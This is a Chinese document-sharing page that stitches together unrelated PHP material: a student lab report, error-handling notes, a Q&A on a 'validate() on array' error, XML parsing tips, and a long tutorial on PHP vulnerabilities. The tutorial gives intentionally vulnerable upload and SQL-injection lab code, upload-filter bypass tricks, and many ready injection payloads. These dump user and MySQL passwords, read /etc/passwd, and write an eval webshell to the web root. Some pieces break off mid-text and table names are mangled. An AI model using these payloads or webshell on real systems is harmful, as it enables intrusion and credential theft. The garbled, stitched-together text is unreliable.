php错误总结
- 格式:doc
- 大小:67.50 KB
- 文档页数:30
php实验报告总结与体会php实验报告总结与体会1. 引言在经过一学期的学习和实践,我有幸进行了一系列的php实验,通过编写代码和实践项目,掌握了php语言的基本语法和特性。
在这篇文章中,我将对我进行的实验进行总结和回顾,分享我对php的个人观点和理解。
2. 实验一:入门实验实验一是我对php语言的第一次接触和学习实践。
通过编写简单的“Hello World”程序,我了解了php的基本语法和语义。
我发现php是一种简单易学的语言,语法规则清晰,代码结构简洁。
通过实验一,我对php的基本语法有了初步的了解,为后续的学习奠定了基础。
3. 实验二:变量与数据类型实验二主要围绕php的变量和数据类型展开。
我学习了php的基本数据类型,包括整数、浮点数、字符串、布尔值等,并掌握了变量的定义和使用。
通过实践运用,我发现php的变量赋值和使用非常灵活,可以方便地进行运算和操作。
php的数据类型转换也是一个重要的概念,我学到了如何将一个数据类型转换为另一个数据类型,为写出高质量的php代码提供了便利。
4. 实验三:条件语句与循环控制实验三是我对php条件语句和循环控制的实践。
通过掌握if语句、switch语句和for循环、while循环等,我学习了如何根据条件执行不同的代码块和如何针对一定条件进行循环操作。
这些控制流程的语法和用法都非常简单明了,使我能够通过编写php代码实现各种复杂的逻辑操作。
5. 实验四:函数的定义与使用实验四是对php函数的实践。
通过学习函数的定义和使用,我了解了php函数的作用和用法。
我发现函数是一个非常重要的概念,可以帮助我们将一段代码块进行封装和复用。
通过函数,我们可以提高代码的可读性和可维护性,同时也可以减少代码的重复性。
在实验四中,我还学习了php函数的参数传递和返回值的使用,更加深入地理解了函数的灵活性和便利性。
6. 实验五:数组与文件操作实验五是对php数组和文件操作的实践。
PHP应用程序的错误处理方法1. 引言PHP是一种开发网站的编程语言,广泛用于构建应用程序和动态网站。
在开发任何应用程序时,出现错误是不可避免的。
因此,了解PHP应用程序的错误处理方法对于开发人员至关重要。
2. 错误处理方法在PHP中,可以使用以下方法处理应用程序中的错误。
2.1. 错误报告默认情况下,PHP会向客户端显示错误报告。
这些报告可以帮助开发人员识别和修复错误,但对于终端用户来说可能过于技术性。
可以使用以下方法关闭错误报告。
在PHP代码中,使用以下指令关闭错误报告:error_reporting(0);在PHP配置文件中,将error_reporting设置为0:error_reporting=02.2. 错误日志错误日志是记录PHP应用程序中的错误的文件。
通过错误日志,开发人员可以查看应用程序中的错误信息并进行排除。
在PHP代码中,可以使用以下指令将错误日志写入文件:ini_set('error_log', '/path/to/error.log');在PHP配置文件中,可以设置以下参数将错误日志写入文件:error_log = /path/to/error.log2.3. 异常处理异常是在运行时发生的错误。
使用异常处理可以在异常发生时执行特定操作。
在PHP中,可以使用以下语法抛出异常:throw new Exception('Error message');可以使用try-catch语句捕获和处理异常:try {// 代码块} catch (Exception $e) {echo 'Caught exception: ', $e->getMessage(), "\n";}2.4. 自定义错误处理方法可以使用set_error_handler()函数自定义PHP应用程序的错误处理程序。
通过自定义错误处理程序,可以在出现错误时采取特定操作。
call to a member function validate()on array“call to a member function validate() on array” 是一个常见的错误提示信息,通常出现在我们使用PHP语言进行开发网站的过程中。
如果您对这个错误提示信息并不了解,就可能会导致您的代码无法正常运行,造成很多不必要的困扰和麻烦。
本文将围绕这个错误提示信息,给出一个详细的解释和分析,帮助读者更好地理解这个问题及其可能带来的影响。
一、问题出现的原因“call to a member function validate() on array” 错误提示信息通常出现在我们在操作一个数组时,试图调用一个在数组中不存在的方法的时候。
这个错误提示信息告诉我们,我们调用的是一个数组的方法而不是一个对象的方法。
通常来说,PHP中数组和对象都是通过不同的方式创建和操作的,因此这个错误提示信息意味着我们的代码有一些问题,可能是因为我们没有正确地创建数组或者我们没有使用正确的方法来操作数组。
二、解决问题的步骤为了解决“call to a member function validate() on array”这个错误提示信息,我们需要按照以下几个步骤进行操作:1. 确认错误提示信息出现的位置首先,我们需要确认这个错误提示信息出现的位置。
在我们的代码中,我们应该寻找触发这个错误的那一行。
通常情况下,这个错误提示信息会包含两个部分:第一部分是“call to a member function”,表示我们正在调用一个函数或方法;第二部分是“on array”,表示这个函数或方法是针对一个数组执行的。
因此,我们需要认真检查我们的代码,找到可能引发这个错误的那一行代码。
2. 确认错误提示信息的原因一旦我们找到了可能引发这个错误提示信息的代码,我们需要仔细检查这一行代码的内容,看看这个代码中是否涉及到了数组的操作。
php xml parsing error
答案:php xml 解析错误
当你遇到PHP XML 解析错误时,可能是由于多种原因引起的。
以下是一些常见的原因和解决方案:
1. 无效的XML 格式:确保你正在解析的XML 文档是有效的,即遵循正确的语法规则。
你可以使用在线XML 验证器或编写一个简单的PHP 脚本来验证XML 格式是否正确。
2. 缺少引号:在XML 中,属性值必须用引号括起来。
如果缺少引号,会导致解析错误。
检查XML 文档中的属性值是否正确地使用了引号。
3. 命名空间问题:如果你的XML 文档使用了命名空间,确保你在解析时正确处理了命名空间。
PHP 的SimpleXML 和DOMDocument 扩展都支持命名空间。
4. 缺少XML 解析器:确保你的PHP 环境安装了SimpleXML 或DOMDocument 扩展。
你可以在PHP 配置文件(php.ini)中检查这些扩展是否已启用。
5. 编码问题:确保XML 文档的编码与PHP 解析器的编码一致。
你可以在解析之前使用mb_detect_encoding() 函数检测XML 文档的编码,并使用mb_convert_encoding() 函数进行转换。
6. 文件路径问题:确保你提供了正确的文件路径给解析器。
如果文件路径不正确或文件不存在,解析器将无法读取XML 文档并导致错误。
如果你能提供更具体的错误信息或代码示例,我可以为你提供更精确的解决方案和代码示例。
PHP常见漏洞代码总结漏洞总结PHP ⽂件上传漏洞只验证MIME类型: 代码中验证了上传的MIME类型,绕过⽅式使⽤Burp抓包,将上传的⼀句话⼩马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){// 判断 content-type 的类型,如果是image/png则通过if($_FILES['upload_file']['type'] == 'image/png'){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];if (move_uploaded_file($temp_file, $img_path))echo "上传完成.";elseecho "上传出错.";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单的绕过: ⽩名单就是允许上传某种类型的⽂件,该⽅式⽐较安全,抓包上传php后门,然后将⽂件名改为.jpg即可上传成功,但是有时候上传后的⽂件会失效⽆法拿到Shell.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$allow_ext = array(".jpg",".png",".jpeg");$file_name = trim($_FILES['upload_file']['name']); // 取出⽂件名$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = strtolower($file_ext); // 转换为⼩写$file_ext = trim($file_ext); // ⾸尾去空if(in_array($file_ext, $allow_ext)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path))echo "上传完成: {$img_path} <br>";elseecho "上传失败 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>⽩名单验证⽂件头: 本关主要是允许jpg/png/gif这三种⽂件的传输,且代码中检测了⽂件头的2字节内容,我们只需要将⽂件的头两个字节修改为图⽚的格式就可以绕过.通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49以JPEG为例,我们在⼀句话⽊马的开头添加两个11也就是⼆进制的3131,然后将.php修改为.jpg,使⽤Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2);fclose($file);$strInfo = @unpack("C2chars", $bin);$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);$fileType = '';switch($typeCode){case 255216: $fileType = 'jpg'; break;case 13780: $fileType = 'png'; break;case 7173: $fileType = 'gif'; break;default: $fileType = 'unknown';}return $fileType;}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){echo "上传失败 <br>";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path))echo "上传完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>绕过检测⽂件头: 这种⽅式是通过⽂件头部起始位置进⾏匹配的从⽽判断是否上传,我们可以通过在上传⽂件前⾯追加合法的⽂件头进⾏绕过,例如在⽂件开头部位加上GIF89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在⽂件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){$fh = fopen($filename, "rb");if($fh){$bytes = fread($fh,6);fclose($fh);if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){return "image/jpeg";}if($bytes == "\x89PNG\x0d\x0a"){return "image/png";}if($bytes == "GIF87a" or $bytes == "GIF89a"){return "image/gif";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>图像检测绕过: 通过使⽤图像函数,检测⽂件是否为图像,如需上传则需要保持图像的完整性,所以⽆法通过追加⽂件头的⽅式绕过,需要制作图⽚⽊马上传.针对这种上传⽅式的绕过我们可以将图⽚与FIG⽂件合并在⼀起copy /b pic.gif+shell.php 1.php上传即可绕过.<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");function getReailFileType($filename){// 检查是否为图像if(@getimagesize($filename)){if(@imagecreatefromgif($filename)){return "image/gif";}if(@imagecreatefrompng($filename)){return "image/png";}if(@imagecreatefromjpeg($filename)){return "image/jpeg";}}return 'unknown';}if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);echo "状态: {$file_type} ";if($file_type == 'unknown'){echo "上传失败 <br>";}else{$file_name = $_FILES['upload_file']['name'];$img_path = UPLOAD_PATH . "/" . $file_name;if(move_uploaded_file($temp_file,$img_path))echo "上传 {$img_path} 完成 <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>上传条件竞争: 这⾥是条件竞争,先将⽂件上传到服务器,然后判断⽂件后缀是否在⽩名单⾥,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利⽤burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可<?phpheader("Content-type: text/html;charset=utf-8");define("UPLOAD_PATH", "./");if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext, $ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);echo "上传完成. <br>";}else{unlink($upload_file);echo "上传失败. <br>";}}}><body><form enctype="multipart/form-data" method="post"><input class="input_file" type="file" name="upload_file"><input class="button" type="submit" name="submit" value="上传"></form></body>PHP 注⼊漏洞基本查询语句搭建SQL注⼊演练环境,⾸先确保MySQL版本为MySQL 5.7以上,并导⼊下⽅的数据库脚本⾃动创建相应的数据库⽂件. drop database if exists lyshark;create database lyshark;use lyshark;drop table if exists local_user;create table local_user(id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usremail varchar(100) not null,usertype int(1) default 0);alert table local_user character set utf8;insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@"), (2,"lyshark",md5("adsdfw2345"),"lyshark@"),(3,"guest",md5("12345678"),"guest@"),(4,"Dumb",md5("458322456"),"Dumb@"),(5,"Angelina",md5("GIs92834"),"angelina@"),(6,"Dummy",md5("HIQWu28934"),"dummy@"),(7,"batman",md5("suw&*("),"batmain@"),(8,"dhakkan",md5("swui16834"),"dhakakan@"),(9,"nacki",md5("fsie92*("),"cbooks@"),(10,"wuhaxp",md5("sadwq"),"cookiec@"),(11,"cpiwu",md5("sadwq"),"myaccce@");接着安装好PHP7.0或以上版本的环境,并创建index.php⽂件,写⼊以下测试代码,数据库密码请⾃⾏修改.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select * from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query)$row = mysqli_fetch_array($query);}}><body><table border="1"><tr><th>序号</th><th>⽤户账号</th><th>⽤户密码</th><th>⽤户邮箱</th><th>权限</th></tr><tr><td><?php echo $row['id']; ?></td><td><?php echo $row['username']; ?></td><td><?php echo $row['password']; ?></td><td><?php echo $row['usremail']; ?></td><td><?php echo $row['usertype']; ?></td></tr></table><br><?php echo '<hr><b> 后端执⾏SQL语句: </b>' . $sql; ?></body></html>Union 查询字段个数: Union可以⽤于⼀个或多个SELECT的结果集,但是他有⼀个条件,就是两个select查询语句的查询必须要有相同的列才可以执⾏,利⽤这个特性我们可以进⾏对⽐查询,也就是说当我们union select的列与它查询的列相同时,页⾯返回正常.⾸先我们猜测,当前字段数为4的时候页⾯⽆返回,也就说明表字段数必然是⼤于4的,接着增加⼀个字段,查询1,2,3,4,5时页⾯显⽰正常,说明表结构是5个字段的.index.php?id=1' and 1=0 union select 1,2,3,4 --+index.php?id=1' and 1=0 union select 1,2,3,4,5 --+index.php?id=1' and 1=0 union select null,null,null,null,null --+Order By查询字段个数: 在SQL语句中是对结果集的指定列进⾏排序,⽐如我们想让结果集按照第⼀列排序就是order by 1按照第⼆列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进⾏排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从⽽报错或⽆法正常显⽰.⾸先我们猜测数据库有6个字段,尝试根据第6⾏进⾏排序发现数据⽆法显⽰,说明是⼩于6的,我们继续使⽤5测试,此时返回了结果.index.php?id=1' and 1 order by 6 --+index.php?id=1' and 1 order by 5 --+⼤部分程序只会调⽤数据库查询的第⼀条语句进⾏查询然后返回,如果想看到的数据是在第⼆条语句中,如果我们想看到我们想要的数据有两种⽅法,第⼀种是让第⼀条数据返回假,第⼆种是通过sql语句直接返回我们想要的数据.第⼀种我们让第⼀个查询的结果始终为假,通过使⽤and 0来实现,或者通过limit语句,limit在mysql中是⽤来分页的,通过他可以从查询出来的数据中获取我们想要的数据.index.php?id=1' and 0 union select null,null,null,null,null --+index.php?id=1' and 0 union select null,version(),null,null,null --+index.php?id=1' union select null,null,null,null,null limit 1,1 --+index.php?id=1' union select null,version(),null,null,null limit 1,1 --+查全部数据库名称: MySQL默认将所有表数据放⼊information_schema.schemata这个表中进⾏存储,我们可以查询这个表中的数据从⽽找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.index.php?id=1' and 0 union select 1,1,database(),1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+查询表中名称: 通过使⽤group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.# 通过 limit 限定条件每次只输出⼀个表名称index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 1,1 --+# 通过 concat 函数⼀次性输出所有表index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)from information_schema.tables where table_schema='lyshark' --+查询表中字段: 通过使⽤table_schema和table_name指定查询条件,即可查询到表中字段与数据.# 查询出lyshark数据库local_user表中的,所有字段index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns> where table_schema='lyshark' and table_name='local_user' --+# 每次读取出⼀个表中字段,使⽤limit进⾏遍历index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 1,1 --+查询表中数据: 通过上⾯的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进⾏读取表中数据. index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 0,1--+index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 1,1--+index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from ers --+常⽤的查询语句: 除此以外,我们还可以使⽤以下常⽤判断条件的配合实现对数据库其他权限的进⼀步注⼊.# -----------------------------------------------------------------------------------# 判断注⼊点: 注⼊点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.index.php?id=1' and 1=1 --+ # 提交and判断注⼊index.php?id=1' and 1=0 --+index.php?id=1%2b1 # 提交加号判断注⼊index.php?id=2-1 # 提交减号判断注⼊index.php?id=1 and sleep(5) # 延时判断诸如点# -----------------------------------------------------------------------------------# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.index.php?id=1' and ord(mid(user(),1,1)) = 114 --+# -----------------------------------------------------------------------------------# 判断权限⼤⼩: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.index.php?id=1' and(select count(*) from er) > 0# -----------------------------------------------------------------------------------# 查询管理密码: 查询MySQL的管理密码,这⾥的#末尾警号,是注释符的意思,说明后⾯的都是注释.index.php?id=1' and 0 union select 1,host,user,password,5 from er --+ // 5.6以前版本index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from er --+ // 5.7以后版本# -----------------------------------------------------------------------------------# 向主站写⼊⼀句话: 可以写⼊⼀句话后门,但在linux系统上⽬录必须具有读写和执⾏权限.index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+# -----------------------------------------------------------------------------------# 利⽤MySQL引擎写⼀句话: 通过使⽤MySQL的存储引擎,以MySQL⾝份写⼊⼀句话create table shell(cmd text);insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');select cmd from shell into outfile('/var/www/html/eval.php');# -----------------------------------------------------------------------------------# 常⽤判断语句: 下⾯是⼀些常⽤的注⼊查询语句,包括查询主机名等敏感操作.index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定⽂件index.php?id=1' union select 1,1,@@datadir // 判断数据库⽬录index.php?id=1' union select 1,1,@@basedir // 判断安装根路径index.php?id=1' union select 1,1,@@hostname // 判断主机名index.php?id=1' union select 1,1,@@version // 判断数据库版本index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux)index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1' union select 1,1,user() // 曝出系统⽤户index.php?id=1' union select 1,1,database() // 曝出当前数据库GET 注⼊简单的注⼊测试: 本关中没有对代码进⾏任何的过滤.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><?phpfunction getCurrentUrl(){$scheme = $_SERVER['REQUEST_SCHEME']; // 协议$domain = $_SERVER['HTTP_HOST']; // 域名$requestUri = $_SERVER['REQUEST_URI']; // 请求参数$currentUrl = $scheme . "://" . $domain . $requestUri;return urldecode($currentUrl);}><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select username,password from local_user where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<font size='5'>";echo "账号: {$row['username']} <br>";echo "密码: {$row['password']} <br>";echo "</font>";echo "后端执⾏语句: {$sql} <br>";$URL = getCurrentUrl();echo "后端URL参数: {$URL} <br>";}else{echo "后端执⾏语句: {$sql} <br>";print_r(mysql_error());}}}}></body></html>SQL语句没有经过任何过滤,或者是过滤不严格,会导致注⼊的发⽣.---------------------------------------------------------------------------------$sql = "select username,password from local_user where id=$id limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1) union select 1,version() --+http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+---------------------------------------------------------------------------------$sql = "select username,password from local_user where id='$id' limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=('$id') limit 0,1";http://127.0.0.1/index.php?id=-1') union select 1,version() --+http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+$sql = "select username,password from local_user where id=(('$id')) limit 0,1";http://127.0.0.1/index.php?id=-1')) union select 1,version() --+---------------------------------------------------------------------------------$id = '"' . $id . "'";$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1") union select 1,version() --+http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+POST 输⼊框注⼊:<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="提交表单" /></form><?phpheader("Content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);if(isset($_POST['uname']) && isset($_POST['passwd'])){$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "后端执⾏语句: {$sql} <br>";}else{echo "<br>后端执⾏语句: {$sql} <br>";}}}}></body></html>简单的进⾏查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤⼦了.# ---------------------------------------------------------------------------------------------------------# SQL语句$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";# ---------------------------------------------------------------------------------------------------------# 爆出字段数admin' order by 1 #admin' order by 2 --admin' and 1 union select 1,2,3 #admin' and 1 union select 1,2 ## 爆出数据库admin ' and 0 union select null,database() #admin' and 0 union select 1,version() ## 爆出所有表名称(需要注意数据库编码格式)set character_set_database=utf8;set collation_database= utf8_general_cialter table local_user convert to character set utf8;' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 ## 爆出表中字段' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 ## 继续爆出所有的⽤户名密码' union select null,group_concat(username,0x3a,password) from local_user ## ---------------------------------------------------------------------------------------------------------# 双注⼊-字符型# 此类注⼊很简单,只需要闭合前⾯的")⽽后⾯则使⽤#注释掉即可$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";#payloadadmin") order by 2 #admin") and 0 union select 1,version() #admin") and 0 union select 1,database() ## ---------------------------------------------------------------------------------------------------------# POST型的-双注⼊#$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";admin" and 0 union select 1,version() #Usage-Agent 注⼊: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带⼊数据库的相关操作,则可能会产⽣SQL注⼊问题.建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));<!DOCTYPE html><html lang="en"><head><meta charset="utf8"><title>SQL 注⼊测试代码</title></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname=$_POST['uname'];$passwd=$_POST['passwd'];$passwd = md5($passwd);$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";$query = mysqli_query($connect,$sql);if($query){$row = mysqli_fetch_array($query);if($row){// 获取到⽤户的Agent客户请求体$Uagent = $_SERVER['HTTP_USER_AGENT'];// REMOTE_ADDR 是调⽤的底层的会话ip地址,理论上是不可以伪造的$IP = $_SERVER['REMOTE_ADDR'];echo "<br>欢迎⽤户: {$row['username']} 密码: {$row['password']} <br><br>";echo "您的IP地址是: {$IP} <br>";$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";mysqli_query($connect,$insert_sql);echo "User_Agent请求头: {$Uagent} <br>";}}}}></body></html>⾸先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带⼊数据库查询.POST /post.php HTTP/1.1Host: 192.168.1.2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8uname=admin&passwd=123123&submit=Submit修改agent验证,可被绕过,此处的语句带⼊数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地⽅即使存在注⼊也⽆法得到结果,但却是⼀个安全隐患,需要引起重视.User-Agent: 1',1,1)#uname=admin&passwd=123123&submit=SubmitUser-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#uname=admin&passwd=123123&submit=SubmitCookie 注⼊: 该注⼊的产⽣原因是因为程序员没有将COOKIE进⾏合法化检测,并将其代⼊到了数据库中查询了且查询变量是可控的,当⽤户登录成功后会产⽣COOKIE,每次页⾯刷新后端都会拿着这个COOKIE带⼊数据库查找,这是⾮常危险的.<!DOCTYPE html><html lang="en"><head><meta charset="utf8"></head><body><form action="" method="post">账号: <input type="text" name="uname" value=""/><br>密码: <input type="password" name="passwd" value=""/><input type="submit" name="submit" value="Submit" /></form><?phpheader("Content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$cookee = $_COOKIE['uname'];if($cookee){$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";$query = mysqli_query($connect,$sql);echo "执⾏SQL: " . $sql . "<br>";if($query){$row = mysqli_fetch_array($query);。
php学习心得范文总结(五篇)php入门是比任何语言都简单,很好学,一般一周两周就可以写简单留言本了.学好php每一条件勤在先,打代码,拼命打代码,买本书,把里面的代码从头打到尾,再回来不懂的再打,运行,再不理解上网上问别人,csdn高手多,回答问题慢,如果php学习心得引导那么大家可能会更好的学会php,那么今天小编就给大家总结了几篇php学习心得参考!php学习心得范文总结(篇一)自从上周开始,我受其他中心邀请,前去给大四学生要做为期一个半月的PHP强化培训讲师,对我来说虽说很简单,但仍不可掉以轻心,在第一次和这个大四学生们交流时,我发现他们的计算机基础知识真的很差,有的学生连基本的操作系统都不会做.当初着实让我头痛了一把,一个半月,要把PHP课程讲完,还要求每个学员都能独立完成网站的开发,最主要的是他们没有基础.在第二天正式上课之前,我把我以前给自己学生培训的大纲做了很大的修改,决定以他们的实际情况为出发点,用最快的时间去讲在学习PHP之前的基础知识,并且用幽默快乐的课堂气氛来提起同学们的学习兴趣,通过这几天的讲课,感觉他们每个学员都撑握的不错,每个学员都很努力地去学习,用他们的话说,在我讲这几天,比大学里三个月讲的内容还多,他们接受起来很快,不愧是大学生,所以我现在有信心能把他们教好.我不敢保证100%,但80%能成为网站程序员是没有什么问题.还有一个月的课程要给他们讲,所以我除了忙自己的公司外,还要兼着给大学生们讲课,虽然我自己累点,但我能看到希望,最近有不少想学网站,学SEO学员咨询,觉得我的技术还是很牛的,其他也没有什么,我用十年的时间学习和工作都是以网站建设,网站维护为主的,只是近年才开始做讲师,但对我最大的收获,就是学员学有所成。
php学习心得范文总结(篇二)在来这里参加PHP培训班之前,我自学了五个月的PHP,天天在琢磨课本上的那些看不懂的代码,照着书上写了很多代码,可测试运行,总是报错,可又不知道自己错在什么地方。
